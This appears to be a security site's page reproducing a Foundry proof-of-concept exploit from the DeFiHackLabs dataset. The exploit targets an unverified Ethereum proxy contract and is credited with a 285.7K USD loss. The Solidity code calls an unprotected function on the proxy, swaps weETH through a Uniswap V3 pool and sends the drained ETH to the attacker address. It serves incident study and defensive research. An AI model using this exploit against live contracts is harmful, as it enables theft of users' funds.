Public reproduction file
src/test/2025-07/unverified_54cd_exp.sol
Public reproduction file for dataset entry Unverified.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1pragma solidity ^0.8.10;3import "forge-std/Test.sol";4import "../interface.sol";6// @KeyInfo - Total Lost : 285.7K USD7// Attacker : https://etherscan.io/address/0xb750e3165de458eae09904cc7fad099632860b0f8// Attack Contract : https://etherscan.io/address/0x1a61249f6f4f9813c55aa3b02c69438607272ed39// Vulnerable Contract : https://etherscan.io/address/0x54cd23460df45559fd5feeaada7ba25f89c1352510// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0xa57ec56af91ec70517ca71ca50101958d9c2ec9fdb61edcf35a9081c375725c212// @Info13// Vulnerable Contract Code : https://etherscan.io/address/0x54cd23460df45559fd5feeaada7ba25f89c1352515// @Analysis16// Post-mortem : https://x.com/TenArmorAlert/status/194168971262157649317// Twitter Guy : https://x.com/TenArmorAlert/status/194168971262157649318// Hacking God : N/A20address constant weth9 = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;21address constant UniswapV3Pool = 0x202A6012894Ae5c288eA824cbc8A9bfb26A49b93;22address constant ERC1967Proxy = 0x54Cd23460DF45559Fd5feEaaDA7ba25f89c13525;23address constant attacker = 0xb750E3165de458EaE09904cC7Fad099632860B0f;24address constant weETH = 0xCd5fE23C85820F7B72D0926FC9b05b43E359b7ee;26contract ContractTest is Test {27 function setUp() public {28 vm.createSelectFork("mainnet", 22855568);29 }31 function testPoC() public {32 emit log_named_decimal_uint("before attack: balance of attacker", address(attacker).balance, 18);33 vm.startPrank(attacker, attacker);34 AttackerC attC = new AttackerC();35 attC.attack();36 vm.stopPrank();37 emit log_named_decimal_uint("after attack: balance of attacker", address(attacker).balance, 18);38 }39}41contract AttackerC {42 function attack() public {43 (bool s1, ) = ERC1967Proxy.call(abi.encodeWithSelector(bytes4(0x03b79c24), address(this)));44 require(s1, "call1 failed");46 (bool s2, ) = UniswapV3Pool.call(47 abi.encodeWithSelector(48 IUniswapV3Pool.swap.selector,49 address(this),50 false,51 int256(106929468097270451433),52 uint256(1461446703485210103287273052203988822378723970341),53 bytes("")54 )55 );56 require(s2, "swap failed");58 IWETH9(weth9).withdraw(114534059890882021484);60 (bool s3, ) = attacker.call{value: address(this).balance}("");61 require(s3, "send ETH failed");62 }64 function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {65 IERC20(weETH).transfer(UniswapV3Pool, uint256(amount1Delta));66 }68 fallback() external payable {}69 receive() external payable {}70}72interface IWETH9 {73 function withdraw(uint256) external; 74}75interface IUniswapV3Pool {76 function swap(address, bool, int256, uint160, bytes calldata) external returns (int256, int256); 77}Analysis
Dataset entry
Public Foundry test for “Unverified” (2025-07-05). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-07/ActivePoolScrvUsdUrgentRedemption_exp.solSame month in the dataset · 200 lines
- src/test/2025-07/ActivePoolUrgentRedemption_exp.solSame month in the dataset · 194 lines
- src/test/2025-07/AnyswapWETHPermit_exp.solSame month in the dataset · 127 lines
- src/test/2025-07/AvaxBIFKNPair_exp.solSame month in the dataset · 213 lines
- src/test/2025-07/BoJLeverageMarket_exp.solSame month in the dataset · 193 lines
- src/test/2025-07/EmptySetReserve_exp.solSame month in the dataset · 196 lines
- src/test/2025-07/FPC_exp.solSame month in the dataset · 83 lines
- src/test/2025-07/gmx_exp.solSame month in the dataset · 427 lines
- src/test/2025-07/MulticallWithETH_exp.solSame month in the dataset · 52 lines
- src/test/2025-07/RANTToken_exp.solSame month in the dataset · 108 lines
- src/test/2025-07/Stepp2p_exp.solSame month in the dataset · 59 lines
- src/test/2025-07/StrategyLlamaLendConvex_exp.solSame month in the dataset · 104 lines
- src/test/2025-07/SuperRare_exp.solSame month in the dataset · 80 lines
- src/test/2025-07/SWAPPStaking_exp.solSame month in the dataset · 197 lines
- src/test/2025-07/unverified_8fd3_exp.solSame month in the dataset · 105 lines
- src/test/2025-07/Unverified670471_exp.solSame month in the dataset · 160 lines
- src/test/2025-07/Unverified6883_exp.solSame month in the dataset · 224 lines
- src/test/2025-07/UPENGBurnSync_exp.solSame month in the dataset · 115 lines
- src/test/2025-07/VDS_exp.solSame month in the dataset · 82 lines
- src/test/2025-07/WETC_Token_exp.solSame month in the dataset · 78 lines
- src/test/2025-07/WhereIsMyDragonTreasure_exp.solSame month in the dataset · 137 lines
- src/test/2026-03/unverified_237d_exp.solSame protocol or name in the dataset · 162 lines
- src/test/2026-03/unverified_1304_exp.solSame protocol or name in the dataset · 178 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xb750e3165de458eae09904cc7fad099632860b0f
- Attack Contract
0x1a61249f6f4f9813c55aa3b02c69438607272ed3
- Vulnerable Contract
0x54cd23460df45559fd5feeaada7ba25f89c13525
- Attack Tx
0xa57ec56af91ec70517ca71ca50101958d9c2ec9fdb61edcf35a9081c375725c2
- Post: https://x.com/TenArmorAlert/status/1941689712621576493
- Explorer: https://etherscan.io/address/0xb750e3165de458eae09904cc7fad099632860b0f
- Explorer: https://etherscan.io/address/0x1a61249f6f4f9813c55aa3b02c69438607272ed3
- Explorer: https://etherscan.io/address/0x54cd23460df45559fd5feeaada7ba25f89c13525
File record
- Name
- Unverified
- Path
- src/test/2025-07/unverified_54cd_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 7e62901f6ea07cdd011f40987fc4ac952a7640c5
- Language
- Solidity
- Size
- 77 lines
- Date
- 2025-07-05
- Licence
- ThreatWire editorial text
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-07/unverified_54cd_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 7e62901f6ea07cdd011f40987fc4ac952a7640c5, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.